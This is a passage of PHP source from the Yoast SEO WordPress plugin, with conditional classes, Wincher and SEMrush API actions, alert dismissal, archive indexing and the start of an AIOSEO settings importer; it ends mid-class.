conditionals/text-formality-conditional.php000066600000000661152204306260015243 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals;

/**
 * Checks if the YOAST_SEO_TEXT_FORMALITY constant is set.
 */
class Text_Formality_Conditional extends Feature_Flag_Conditional {

	/**
	 * Returns the name of the feature flag.
	 * 'YOAST_SEO_' is automatically prepended to it and it will be uppercased.
	 *
	 * @return string the name of the feature flag.
	 */
	public function get_feature_flag() {
		return 'TEXT_FORMALITY';
	}
}
conditionals/third-party/translatepress-conditional.php000066600000000710152204306260017567 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals\Third_Party;

use Yoast\WP\SEO\Conditionals\Conditional;

/**
 * Conditional that is only met when the TranslatePress plugin is active.
 */
class TranslatePress_Conditional implements Conditional {

	/**
	 * Checks whether the TranslatePress plugin is active.
	 *
	 * @return bool Whether the TranslatePress plugin is active.
	 */
	public function is_met() {
		return \class_exists( 'TRP_Translate_Press' );
	}
}
conditionals/third-party/elementor-activated-conditional.php000066600000000745152204306260020461 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals\Third_Party;

use Yoast\WP\SEO\Conditionals\Conditional;

/**
 * Conditional that is met when the Elementor plugin is installed and activated.
 */
class Elementor_Activated_Conditional implements Conditional {

	/**
	 * Checks if the Elementor plugins is installed and activated.
	 *
	 * @return bool `true` when the Elementor plugin is installed and activated.
	 */
	public function is_met() {
		return \defined( 'ELEMENTOR__FILE__' );
	}
}
conditionals/premium-active-conditional.php000066600000000546152204306260015204 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals;

/**
 * Class Premium_Active_Conditional.
 */
class Premium_Active_Conditional implements Conditional {

	/**
	 * Returns whether or not this conditional is met.
	 *
	 * @return bool Whether or not the conditional is met.
	 */
	public function is_met() {
		return \YoastSEO()->helpers->product->is_premium();
	}
}
conditionals/user-profile-conditional.php000066600000001041152204306260014660 0ustar00<?php // phpcs:ignore Yoast.Files.FileName.InvalidClassFileName -- Reason: this explicitly concerns the Yoast tools page.

namespace Yoast\WP\SEO\Conditionals;

/**
 * Conditional that is only met when current page is the tools page.
 */
class User_Profile_Conditional implements Conditional {

	/**
	 * Returns whether or not this conditional is met.
	 *
	 * @return bool Whether or not the conditional is met.
	 */
	public function is_met() {
		global $pagenow;

		if ( $pagenow !== 'profile.php' ) {
			return false;
		}

		return true;
	}
}
conditionals/settings-conditional.php000066600000001740152204306260014112 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals;

/**
 * Class Settings_Conditional.
 */
class Settings_Conditional implements Conditional {

	/**
	 * Holds User_Can_Manage_Wpseo_Options_Conditional.
	 *
	 * @var User_Can_Manage_Wpseo_Options_Conditional
	 */
	protected $user_can_manage_wpseo_options_conditional;

	/**
	 * Constructs Settings_Conditional.
	 *
	 * @param User_Can_Manage_Wpseo_Options_Conditional $user_can_manage_wpseo_options_conditional The User_Can_Manage_Wpseo_Options_Conditional.
	 */
	public function __construct(
		User_Can_Manage_Wpseo_Options_Conditional $user_can_manage_wpseo_options_conditional
	) {
		$this->user_can_manage_wpseo_options_conditional = $user_can_manage_wpseo_options_conditional;
	}

	/**
	 * Returns whether or not this conditional is met.
	 *
	 * @return bool Whether or not the conditional is met.
	 */
	public function is_met() {
		if ( ! $this->user_can_manage_wpseo_options_conditional->is_met() ) {
			return false;
		}

		return true;
	}
}
conditionals/news-conditional.php000066600000000550152204306260013224 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals;

/**
 * Conditional that is only met when news SEO is activated.
 */
class News_Conditional implements Conditional {

	/**
	 * Returns whether or not this conditional is met.
	 *
	 * @return bool Whether or not the conditional is met.
	 */
	public function is_met() {
		return \defined( 'WPSEO_NEWS_VERSION' );
	}
}
conditionals/admin/post-conditional.php000066600000001340152204306260014323 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals\Admin;

use Yoast\WP\SEO\Conditionals\Conditional;

/**
 * Conditional that is only met when on a post edit or new post page.
 */
class Post_Conditional implements Conditional {

	/**
	 * Returns whether or not this conditional is met.
	 *
	 * @return bool Whether or not the conditional is met.
	 */
	public function is_met() {
		global $pagenow;

		// Current page is the creation of a new post (type, i.e. post, page, custom post or attachment).
		if ( $pagenow === 'post-new.php' ) {
			return true;
		}

		// Current page is the edit page of an existing post (type, i.e. post, page, custom post or attachment).
		if ( $pagenow === 'post.php' ) {
			return true;
		}

		return false;
	}
}
conditionals/xmlrpc-conditional.php000066600000000667152204306260013566 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals;

/**
 * Conditional that is met when the current request is an XML-RPC request.
 */
class XMLRPC_Conditional implements Conditional {

	/**
	 * Returns whether the current request is an XML-RPC request.
	 *
	 * @return bool `true` when the current request is an XML-RPC request, `false` if not.
	 */
	public function is_met() {
		return ( \defined( 'XMLRPC_REQUEST' ) && \XMLRPC_REQUEST );
	}
}
conditionals/no-tool-selected-conditional.php000066600000000775152204306260015436 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals;

/**
 * Conditional that is only met when current page is not a specific tool's page.
 */
class No_Tool_Selected_Conditional implements Conditional {

	/**
	 * Returns whether or not this conditional is met.
	 *
	 * @return bool Whether or not the conditional is met.
	 */
	public function is_met() {
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- We just check whether a URL parameter does not exist.
		return ! isset( $_GET['tool'] );
	}
}
conditionals/migrations-conditional.php000066600000001457152204306260014433 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals;

use Yoast\WP\SEO\Config\Migration_Status;

/**
 * Class for integrations that depend on having all migrations run.
 */
class Migrations_Conditional implements Conditional {

	/**
	 * The migration status.
	 *
	 * @var Migration_Status
	 */
	protected $migration_status;

	/**
	 * Migrations_Conditional constructor.
	 *
	 * @param Migration_Status $migration_status The migration status object.
	 */
	public function __construct( Migration_Status $migration_status ) {
		$this->migration_status = $migration_status;
	}

	/**
	 * Returns `true` when all database migrations have been run.
	 *
	 * @return bool `true` when all database migrations have been run.
	 */
	public function is_met() {
		return $this->migration_status->is_version( 'free', \WPSEO_VERSION );
	}
}
conditionals/jetpack-conditional.php000066600000000637152204306260013677 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals;

/**
 * Conditional that is only met when Jetpack exists.
 */
class Jetpack_Conditional implements Conditional {

	/**
	 * Returns `true` when the Jetpack plugin exists on this
	 * WordPress installation.
	 *
	 * @return bool `true` when the Jetpack plugin exists on this WordPress installation.
	 */
	public function is_met() {
		return \class_exists( 'Jetpack' );
	}
}
conditionals/addon-installation-conditional.php000066600000000666152204306260016044 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals;

/**
 * Checks if the Addon_Installation constant is set.
 */
class Addon_Installation_Conditional extends Feature_Flag_Conditional {

	/**
	 * Returns the name of the feature flag.
	 * 'YOAST_SEO_' is automatically prepended to it and it will be uppercased.
	 *
	 * @return string the name of the feature flag.
	 */
	protected function get_feature_flag() {
		return 'ADDON_INSTALLATION';
	}
}
conditionals/user-edit-conditional.php000066600000000751152204306260014154 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals;

/**
 * Conditional that is only met when current page is the Edit User page or the User's profile page.
 */
class User_Edit_Conditional implements Conditional {

	/**
	 * Returns whether or not this conditional is met.
	 *
	 * @return bool Whether or not the conditional is met.
	 */
	public function is_met() {
		global $pagenow;

		if ( $pagenow !== 'profile.php' && $pagenow !== 'user-edit.php' ) {
			return false;
		}

		return true;
	}
}
conditionals/wp-robots-conditional.php000066600000000525152204306260014206 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals;

/**
 * Class that checks if wp_robots exists.
 */
class WP_Robots_Conditional implements Conditional {

	/**
	 * Checks if the wp_robots function exists.
	 *
	 * @return bool True when the wp_robots function exists.
	 */
	public function is_met() {
		return \function_exists( 'wp_robots' );
	}
}
conditionals/primary-category-conditional.php000066600000003254152204306260015552 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals;

use Yoast\WP\SEO\Helpers\Current_Page_Helper;

/**
 * Conditional that is only met when in frontend or page is a post overview or post add/edit form.
 */
class Primary_Category_Conditional implements Conditional {

	/**
	 * The current page helper.
	 *
	 * @var Current_Page_Helper
	 */
	private $current_page;

	/**
	 * Primary_Category_Conditional constructor.
	 *
	 * @param Current_Page_Helper $current_page The current page helper.
	 */
	public function __construct( Current_Page_Helper $current_page ) {
		$this->current_page = $current_page;
	}

	/**
	 * Returns `true` when on the frontend,
	 * or when on the post overview, post edit or new post admin page,
	 * or when on additional admin pages, allowed by filter.
	 *
	 * @return bool `true` when on the frontend, or when on the post overview,
	 *          post edit, new post admin page or additional admin pages, allowed by filter.
	 */
	public function is_met() {

		if ( ! \is_admin() ) {
			return true;
		}

		$current_page = $this->current_page->get_current_admin_page();
		// phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason: We are not processing form information.
		if ( $current_page === 'admin-ajax.php' && isset( $_POST['action'] ) && $_POST['action'] === 'wp-link-ajax' ) {
			return true;
		}

		/**
		 * Filter: Adds the possibility to use primary category at additional admin pages.
		 *
		 * @param array $admin_pages List of additional admin pages.
		 */
		$additional_pages = \apply_filters( 'wpseo_primary_category_admin_pages', [] );
		return \in_array( $current_page, \array_merge( [ 'edit.php', 'post.php', 'post-new.php' ], $additional_pages ), true );
	}
}
conditionals/new-settings-ui-conditional.php000066600000000543152204306260015314 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals;

/**
 * Feature flag conditional for the new settings UI.
 */
class New_Settings_Ui_Conditional extends Feature_Flag_Conditional {

	/**
	 * Returns the name of the feature flag.
	 *
	 * @return string The name of the feature flag.
	 */
	protected function get_feature_flag() {
		return 'NEW_SETTINGS_UI';
	}
}
conditionals/conditional-interface.php000066600000000452152204306260014211 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals;

/**
 * Conditional interface, used to prevent integrations from loading.
 */
interface Conditional {

	/**
	 * Returns whether or not this conditional is met.
	 *
	 * @return bool Whether or not the conditional is met.
	 */
	public function is_met();
}
conditionals/yoast-tools-page-conditional.php000066600000001176152204306260015464 0ustar00<?php // phpcs:ignore Yoast.Files.FileName.InvalidClassFileName -- Reason: this explicitly concerns the Yoast tools page.

namespace Yoast\WP\SEO\Conditionals;

/**
 * Conditional that is only met when current page is the tools page.
 */
class Yoast_Tools_Page_Conditional implements Conditional {

	/**
	 * Returns whether or not this conditional is met.
	 *
	 * @return bool Whether or not the conditional is met.
	 */
	public function is_met() {
		global $pagenow;

		if ( $pagenow !== 'admin.php' ) {
			return false;
		}

		if ( isset( $_GET['page'] ) && $_GET['page'] === 'wpseo_tools' ) {
			return true;
		}

		return false;
	}
}
conditionals/development-conditional.php000066600000000601152204306260014567 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals;

use WPSEO_Utils;

/**
 * Conditional that is only met when in development mode.
 */
class Development_Conditional implements Conditional {

	/**
	 * Returns whether or not this conditional is met.
	 *
	 * @return bool Whether or not the conditional is met.
	 */
	public function is_met() {
		return WPSEO_Utils::is_development_mode();
	}
}
conditionals/wincher-conditional.php000066600000000240152204306260013703 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals;

/**
 * Conditional for the Wincher integration.
 */
class Wincher_Conditional extends Non_Multisite_Conditional {}
conditionals/wincher-automatically-track-conditional.php000066600000001367152204306260017666 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals;

use Yoast\WP\SEO\Helpers\Options_Helper;

/**
 * Conditional that is only met when the Wincher automatic tracking is enabled.
 */
class Wincher_Automatically_Track_Conditional implements Conditional {

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options;

	/**
	 * Wincher_Automatically_Track_Conditional constructor.
	 *
	 * @param Options_Helper $options The options helper.
	 */
	public function __construct( Options_Helper $options ) {
		$this->options = $options;
	}

	/**
	 * Returns whether this conditional is met.
	 *
	 * @return bool Whether the conditional is met.
	 */
	public function is_met() {
		return $this->options->get( 'wincher_automatically_add_keyphrases' );
	}
}
conditionals/wincher-enabled-conditional.php000066600000001343152204306260015300 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals;

use Yoast\WP\SEO\Helpers\Options_Helper;

/**
 * Conditional that is only met when the Wincher integration is enabled.
 */
class Wincher_Enabled_Conditional implements Conditional {

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options;

	/**
	 * Wincher_Enabled_Conditional constructor.
	 *
	 * @param Options_Helper $options The options helper.
	 */
	public function __construct( Options_Helper $options ) {
		$this->options = $options;
	}

	/**
	 * Returns whether or not this conditional is met.
	 *
	 * @return bool Whether or not the conditional is met.
	 */
	public function is_met() {
		return $this->options->get( 'wincher_integration_active', false );
	}
}
actions/wincher/wincher-account-action.php000066600000005010152204306260014720 0ustar00<?php

namespace Yoast\WP\SEO\Actions\Wincher;

use Exception;
use Yoast\WP\SEO\Config\Wincher_Client;
use Yoast\WP\SEO\Helpers\Options_Helper;

/**
 * Class Wincher_Account_Action
 */
class Wincher_Account_Action {

	public const ACCOUNT_URL          = 'https://api.wincher.com/beta/account';
	public const UPGRADE_CAMPAIGN_URL = 'https://api.wincher.com/v1/yoast/upgrade-campaign';

	/**
	 * The Wincher_Client instance.
	 *
	 * @var Wincher_Client
	 */
	protected $client;

	/**
	 * The Options_Helper instance.
	 *
	 * @var Options_Helper
	 */
	protected $options_helper;

	/**
	 * Wincher_Account_Action constructor.
	 *
	 * @param Wincher_Client $client         The API client.
	 * @param Options_Helper $options_helper The options helper.
	 */
	public function __construct( Wincher_Client $client, Options_Helper $options_helper ) {
		$this->client         = $client;
		$this->options_helper = $options_helper;
	}

	/**
	 * Checks the account limit for tracking keyphrases.
	 *
	 * @return object The response object.
	 */
	public function check_limit() {
		// Code has already been validated at this point. No need to do that again.
		try {
			$results = $this->client->get( self::ACCOUNT_URL );

			$usage   = ( $results['limits']['keywords']['usage'] ?? null );
			$limit   = ( $results['limits']['keywords']['limit'] ?? null );
			$history = ( $results['limits']['history_days'] ?? null );

			return (object) [
				'canTrack'    => ( $limit === null || $usage < $limit ),
				'limit'       => $limit,
				'usage'       => $usage,
				'historyDays' => $history,
				'status'      => 200,
			];
		} catch ( Exception $e ) {
			return (object) [
				'status' => $e->getCode(),
				'error'  => $e->getMessage(),
			];
		}
	}

	/**
	 * Gets the upgrade campaign.
	 *
	 * @return object The response object.
	 */
	public function get_upgrade_campaign() {
		try {
			$result   = $this->client->get( self::UPGRADE_CAMPAIGN_URL );
			$type     = ( $result['type'] ?? null );
			$months   = ( $result['months'] ?? null );
			$discount = ( $result['value'] ?? null );

			// We display upgrade discount only if it's a rate discount and positive months/discount.
			if ( $type === 'RATE' && $months && $discount ) {

				return (object) [
					'discount'  => $discount,
					'months'    => $months,
					'status'    => 200,
				];
			}

			return (object) [
				'discount'  => null,
				'months'    => null,
				'status'    => 200,
			];
		} catch ( Exception $e ) {
			return (object) [
				'status' => $e->getCode(),
				'error'  => $e->getMessage(),
			];
		}
	}
}
actions/semrush/semrush-phrases-action.php000066600000004441152204306260015016 0ustar00<?php

namespace Yoast\WP\SEO\Actions\SEMrush;

use Exception;
use Yoast\WP\SEO\Config\SEMrush_Client;

/**
 * Class SEMrush_Phrases_Action
 */
class SEMrush_Phrases_Action {

	/**
	 * The transient cache key.
	 */
	public const TRANSIENT_CACHE_KEY = 'wpseo_semrush_related_keyphrases_%s_%s';

	/**
	 * The SEMrush keyphrase URL.
	 *
	 * @var string
	 */
	public const KEYPHRASES_URL = 'https://oauth.semrush.com/api/v1/keywords/phrase_fullsearch';

	/**
	 * The SEMrush_Client instance.
	 *
	 * @var SEMrush_Client
	 */
	protected $client;

	/**
	 * SEMrush_Phrases_Action constructor.
	 *
	 * @param SEMrush_Client $client The API client.
	 */
	public function __construct( SEMrush_Client $client ) {
		$this->client = $client;
	}

	/**
	 * Gets the related keyphrases and data based on the passed keyphrase and database country code.
	 *
	 * @param string $keyphrase The keyphrase to search for.
	 * @param string $database  The database's country code.
	 *
	 * @return object The response object.
	 */
	public function get_related_keyphrases( $keyphrase, $database ) {
		try {
			$transient_key = \sprintf( static::TRANSIENT_CACHE_KEY, $keyphrase, $database );
			$transient     = \get_transient( $transient_key );

			if ( $transient !== false && isset( $transient['data']['columnNames'] ) && \count( $transient['data']['columnNames'] ) === 5 ) {
				return $this->to_result_object( $transient );
			}

			$options = [
				'params' => [
					'phrase'         => $keyphrase,
					'database'       => $database,
					'export_columns' => 'Ph,Nq,Td,In,Kd',
					'display_limit'  => 10,
					'display_offset' => 0,
					'display_sort'   => 'nq_desc',
					'display_filter' => '%2B|Nq|Lt|1000',
				],
			];

			$results = $this->client->get( self::KEYPHRASES_URL, $options );

			\set_transient( $transient_key, $results, \DAY_IN_SECONDS );

			return $this->to_result_object( $results );
		} catch ( Exception $e ) {
			return (object) [
				'error'  => $e->getMessage(),
				'status' => $e->getCode(),
			];
		}
	}

	/**
	 * Converts the passed dataset to an object.
	 *
	 * @param array $result The result dataset to convert to an object.
	 *
	 * @return object The result object.
	 */
	protected function to_result_object( $result ) {
		return (object) [
			'results' => $result['data'],
			'status'  => $result['status'],
		];
	}
}
actions/semrush/semrush-options-action.php000066600000002140152204306260015036 0ustar00<?php

namespace Yoast\WP\SEO\Actions\SEMrush;

use Yoast\WP\SEO\Helpers\Options_Helper;

/**
 * Class SEMrush_Options_Action
 */
class SEMrush_Options_Action {

	/**
	 * The Options_Helper instance.
	 *
	 * @var Options_Helper
	 */
	protected $options_helper;

	/**
	 * SEMrush_Options_Action constructor.
	 *
	 * @param Options_Helper $options_helper The WPSEO options helper.
	 */
	public function __construct( Options_Helper $options_helper ) {
		$this->options_helper = $options_helper;
	}

	/**
	 * Stores SEMrush country code in the WPSEO options.
	 *
	 * @param string $country_code The country code to store.
	 *
	 * @return object The response object.
	 */
	public function set_country_code( $country_code ) {
		// The country code has already been validated at this point. No need to do that again.
		$success = $this->options_helper->set( 'semrush_country_code', $country_code );

		if ( $success ) {
			return (object) [
				'success' => true,
				'status'  => 200,
			];
		}
		return (object) [
			'success' => false,
			'status'  => 500,
			'error'   => 'Could not save option in the database',
		];
	}
}
actions/alert-dismissal-action.php000066600000012576152204306260013304 0ustar00<?php

namespace Yoast\WP\SEO\Actions;

use Yoast\WP\SEO\Helpers\User_Helper;

/**
 * Class Alert_Dismissal_Action.
 */
class Alert_Dismissal_Action {

	public const USER_META_KEY = '_yoast_alerts_dismissed';

	/**
	 * Holds the user helper instance.
	 *
	 * @var User_Helper
	 */
	protected $user;

	/**
	 * Constructs Alert_Dismissal_Action.
	 *
	 * @param User_Helper $user User helper.
	 */
	public function __construct( User_Helper $user ) {
		$this->user = $user;
	}

	/**
	 * Dismisses an alert.
	 *
	 * @param string $alert_identifier Alert identifier.
	 *
	 * @return bool Whether the dismiss was successful or not.
	 */
	public function dismiss( $alert_identifier ) {
		$user_id = $this->user->get_current_user_id();
		if ( $user_id === 0 ) {
			return false;
		}

		if ( $this->is_allowed( $alert_identifier ) === false ) {
			return false;
		}

		$dismissed_alerts = $this->get_dismissed_alerts( $user_id );
		if ( $dismissed_alerts === false ) {
			return false;
		}

		if ( \array_key_exists( $alert_identifier, $dismissed_alerts ) === true ) {
			// The alert is already dismissed.
			return true;
		}

		// Add this alert to the dismissed alerts.
		$dismissed_alerts[ $alert_identifier ] = true;

		// Save.
		return $this->user->update_meta( $user_id, static::USER_META_KEY, $dismissed_alerts ) !== false;
	}

	/**
	 * Resets an alert.
	 *
	 * @param string $alert_identifier Alert identifier.
	 *
	 * @return bool Whether the reset was successful or not.
	 */
	public function reset( $alert_identifier ) {
		$user_id = $this->user->get_current_user_id();
		if ( $user_id === 0 ) {
			return false;
		}

		if ( $this->is_allowed( $alert_identifier ) === false ) {
			return false;
		}

		$dismissed_alerts = $this->get_dismissed_alerts( $user_id );
		if ( $dismissed_alerts === false ) {
			return false;
		}

		$amount_of_dismissed_alerts = \count( $dismissed_alerts );
		if ( $amount_of_dismissed_alerts === 0 ) {
			// No alerts: nothing to reset.
			return true;
		}

		if ( \array_key_exists( $alert_identifier, $dismissed_alerts ) === false ) {
			// Alert not found: nothing to reset.
			return true;
		}

		if ( $amount_of_dismissed_alerts === 1 ) {
			// The 1 remaining dismissed alert is the alert to reset: delete the alerts user meta row.
			return $this->user->delete_meta( $user_id, static::USER_META_KEY, $dismissed_alerts );
		}

		// Remove this alert from the dismissed alerts.
		unset( $dismissed_alerts[ $alert_identifier ] );

		// Save.
		return $this->user->update_meta( $user_id, static::USER_META_KEY, $dismissed_alerts ) !== false;
	}

	/**
	 * Returns if an alert is dismissed or not.
	 *
	 * @param string $alert_identifier Alert identifier.
	 *
	 * @return bool Whether the alert has been dismissed.
	 */
	public function is_dismissed( $alert_identifier ) {
		$user_id = $this->user->get_current_user_id();
		if ( $user_id === 0 ) {
			return false;
		}

		if ( $this->is_allowed( $alert_identifier ) === false ) {
			return false;
		}

		$dismissed_alerts = $this->get_dismissed_alerts( $user_id );
		if ( $dismissed_alerts === false ) {
			return false;
		}

		return \array_key_exists( $alert_identifier, $dismissed_alerts );
	}

	/**
	 * Returns an object with all alerts dismissed by current user.
	 *
	 * @return array|false An array with the keys of all Alerts that have been dismissed
	 *                     by the current user or `false`.
	 */
	public function all_dismissed() {
		$user_id = $this->user->get_current_user_id();
		if ( $user_id === 0 ) {
			return false;
		}

		$dismissed_alerts = $this->get_dismissed_alerts( $user_id );
		if ( $dismissed_alerts === false ) {
			return false;
		}

		return $dismissed_alerts;
	}

	/**
	 * Returns if an alert is allowed or not.
	 *
	 * @param string $alert_identifier Alert identifier.
	 *
	 * @return bool Whether the alert is allowed.
	 */
	public function is_allowed( $alert_identifier ) {
		return \in_array( $alert_identifier, $this->get_allowed_dismissable_alerts(), true );
	}

	/**
	 * Retrieves the dismissed alerts.
	 *
	 * @param int $user_id User ID.
	 *
	 * @return string[]|false The dismissed alerts. False for an invalid $user_id.
	 */
	protected function get_dismissed_alerts( $user_id ) {
		$dismissed_alerts = $this->user->get_meta( $user_id, static::USER_META_KEY, true );
		if ( $dismissed_alerts === false ) {
			// Invalid user ID.
			return false;
		}

		if ( $dismissed_alerts === '' ) {
			/*
			 * When no database row exists yet, an empty string is returned because of the `single` parameter.
			 * We do want a single result returned, but the default should be an empty array instead.
			 */
			return [];
		}

		return $dismissed_alerts;
	}

	/**
	 * Retrieves the allowed dismissable alerts.
	 *
	 * @return string[] The allowed dismissable alerts.
	 */
	protected function get_allowed_dismissable_alerts() {
		/**
		 * Filter: 'wpseo_allowed_dismissable_alerts' - List of allowed dismissable alerts.
		 *
		 * @param string[] $allowed_dismissable_alerts Allowed dismissable alerts list.
		 */
		$allowed_dismissable_alerts = \apply_filters( 'wpseo_allowed_dismissable_alerts', [] );

		if ( \is_array( $allowed_dismissable_alerts ) === false ) {
			return [];
		}

		// Only allow strings.
		$allowed_dismissable_alerts = \array_filter( $allowed_dismissable_alerts, 'is_string' );

		// Filter unique and reorder indices.
		$allowed_dismissable_alerts = \array_values( \array_unique( $allowed_dismissable_alerts ) );

		return $allowed_dismissable_alerts;
	}
}
actions/indexing/indexable-post-type-archive-indexation-action.php000066600000014026152204306260021460 0ustar00<?php

namespace Yoast\WP\SEO\Actions\Indexing;

use Yoast\WP\SEO\Builders\Indexable_Builder;
use Yoast\WP\SEO\Helpers\Post_Type_Helper;
use Yoast\WP\SEO\Models\Indexable;
use Yoast\WP\SEO\Repositories\Indexable_Repository;
use Yoast\WP\SEO\Values\Indexables\Indexable_Builder_Versions;

/**
 * Reindexing action for post type archive indexables.
 *
 * @phpcs:disable Yoast.NamingConventions.ObjectNameDepth.MaxExceeded
 */
class Indexable_Post_Type_Archive_Indexation_Action implements Indexation_Action_Interface, Limited_Indexing_Action_Interface {

	/**
	 * The transient cache key.
	 */
	public const UNINDEXED_COUNT_TRANSIENT = 'wpseo_total_unindexed_post_type_archives';

	/**
	 * The post type helper.
	 *
	 * @var Post_Type_Helper
	 */
	protected $post_type;

	/**
	 * The indexable repository.
	 *
	 * @var Indexable_Repository
	 */
	protected $repository;

	/**
	 * The indexable builder.
	 *
	 * @var Indexable_Builder
	 */
	protected $builder;

	/**
	 * The current version of the post type archive indexable builder.
	 *
	 * @var int
	 */
	protected $version;

	/**
	 * Indexation_Post_Type_Archive_Action constructor.
	 *
	 * @param Indexable_Repository       $repository The indexable repository.
	 * @param Indexable_Builder          $builder    The indexable builder.
	 * @param Post_Type_Helper           $post_type  The post type helper.
	 * @param Indexable_Builder_Versions $versions   The current versions of all indexable builders.
	 */
	public function __construct(
		Indexable_Repository $repository,
		Indexable_Builder $builder,
		Post_Type_Helper $post_type,
		Indexable_Builder_Versions $versions
	) {
		$this->repository = $repository;
		$this->builder    = $builder;
		$this->post_type  = $post_type;
		$this->version    = $versions->get_latest_version_for_type( 'post-type-archive' );
	}

	/**
	 * Returns the total number of unindexed post type archives.
	 *
	 * @param int|false $limit Limit the number of counted objects.
	 *                         False for "no limit".
	 *
	 * @return int The total number of unindexed post type archives.
	 */
	public function get_total_unindexed( $limit = false ) {
		$transient = \get_transient( static::UNINDEXED_COUNT_TRANSIENT );
		if ( $transient !== false ) {
			return (int) $transient;
		}

		\set_transient( static::UNINDEXED_COUNT_TRANSIENT, 0, \DAY_IN_SECONDS );

		$result = \count( $this->get_unindexed_post_type_archives( $limit ) );

		\set_transient( static::UNINDEXED_COUNT_TRANSIENT, $result, \DAY_IN_SECONDS );

		/**
		 * Action: 'wpseo_indexables_unindexed_calculated' - sets an option to timestamp when there are no unindexed indexables left.
		 *
		 * @internal
		 */
		\do_action( 'wpseo_indexables_unindexed_calculated', static::UNINDEXED_COUNT_TRANSIENT, $result );

		return $result;
	}

	/**
	 * Creates indexables for post type archives.
	 *
	 * @return Indexable[] The created indexables.
	 */
	public function index() {
		$unindexed_post_type_archives = $this->get_unindexed_post_type_archives( $this->get_limit() );

		$indexables = [];
		foreach ( $unindexed_post_type_archives as $post_type_archive ) {
			$indexables[] = $this->builder->build_for_post_type_archive( $post_type_archive );
		}

		if ( \count( $indexables ) > 0 ) {
			\delete_transient( static::UNINDEXED_COUNT_TRANSIENT );
		}

		return $indexables;
	}

	/**
	 * Returns the number of post type archives that will be indexed in a single indexing pass.
	 *
	 * @return int The limit.
	 */
	public function get_limit() {
		/**
		 * Filter 'wpseo_post_type_archive_indexation_limit' - Allow filtering the number of posts indexed during each indexing pass.
		 *
		 * @param int $limit The maximum number of posts indexed.
		 */
		$limit = \apply_filters( 'wpseo_post_type_archive_indexation_limit', 25 );

		if ( ! \is_int( $limit ) || $limit < 1 ) {
			$limit = 25;
		}

		return $limit;
	}

	/**
	 * Retrieves the list of post types for which no indexable for its archive page has been made yet.
	 *
	 * @param int|false $limit Limit the number of retrieved indexables to this number.
	 *
	 * @return array The list of post types for which no indexable for its archive page has been made yet.
	 */
	protected function get_unindexed_post_type_archives( $limit = false ) {
		$post_types_with_archive_pages = $this->get_post_types_with_archive_pages();
		$indexed_post_types            = $this->get_indexed_post_type_archives();

		$unindexed_post_types = \array_diff( $post_types_with_archive_pages, $indexed_post_types );

		if ( $limit ) {
			return \array_slice( $unindexed_post_types, 0, $limit );
		}

		return $unindexed_post_types;
	}

	/**
	 * Returns the names of all the post types that have archive pages.
	 *
	 * @return array The list of names of all post types that have archive pages.
	 */
	protected function get_post_types_with_archive_pages() {
		// We only want to index archive pages of public post types that have them.
		$post_types_with_archive = $this->post_type->get_indexable_post_archives();

		// We only need the post type names, not the objects.
		$post_types = [];
		foreach ( $post_types_with_archive as $post_type_with_archive ) {
			$post_types[] = $post_type_with_archive->name;
		}

		return $post_types;
	}

	/**
	 * Retrieves the list of post type names for which an archive indexable exists.
	 *
	 * @return array The list of names of post types with unindexed archive pages.
	 */
	protected function get_indexed_post_type_archives() {
		$results = $this->repository->query()
			->select( 'object_sub_type' )
			->where( 'object_type', 'post-type-archive' )
			->where_equal( 'version', $this->version )
			->find_array();

		if ( $results === false ) {
			return [];
		}

		$callback = static function ( $result ) {
			return $result['object_sub_type'];
		};

		return \array_map( $callback, $results );
	}

	/**
	 * Returns a limited number of unindexed posts.
	 *
	 * @param int $limit Limit the maximum number of unindexed posts that are counted.
	 *
	 * @return int|false The limited number of unindexed posts. False if the query fails.
	 */
	public function get_limited_unindexed_count( $limit ) {
		return $this->get_total_unindexed( $limit );
	}
}
actions/importing/aioseo/aioseo-custom-archive-settings-importing-action.php000066600000007366152204306270023552 0ustar00<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Given it's a very specific case.
namespace Yoast\WP\SEO\Actions\Importing\Aioseo;

use Yoast\WP\SEO\Helpers\Import_Cursor_Helper;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Helpers\Post_Type_Helper;
use Yoast\WP\SEO\Helpers\Sanitization_Helper;
use Yoast\WP\SEO\Services\Importing\Aioseo\Aioseo_Replacevar_Service;
use Yoast\WP\SEO\Services\Importing\Aioseo\Aioseo_Robots_Provider_Service;
use Yoast\WP\SEO\Services\Importing\Aioseo\Aioseo_Robots_Transformer_Service;

/**
 * Importing action for AIOSEO custom archive settings data.
 *
 * @phpcs:disable Yoast.NamingConventions.ObjectNameDepth.MaxExceeded
 */
class Aioseo_Custom_Archive_Settings_Importing_Action extends Abstract_Aioseo_Settings_Importing_Action {

	/**
	 * The plugin of the action.
	 */
	public const PLUGIN = 'aioseo';

	/**
	 * The type of the action.
	 */
	public const TYPE = 'custom_archive_settings';

	/**
	 * The option_name of the AIOSEO option that contains the settings.
	 */
	public const SOURCE_OPTION_NAME = 'aioseo_options_dynamic';

	/**
	 * The map of aioseo_options to yoast settings.
	 *
	 * @var array
	 */
	protected $aioseo_options_to_yoast_map = [];

	/**
	 * The tab of the aioseo settings we're working with.
	 *
	 * @var string
	 */
	protected $settings_tab = 'archives';

	/**
	 * The post type helper.
	 *
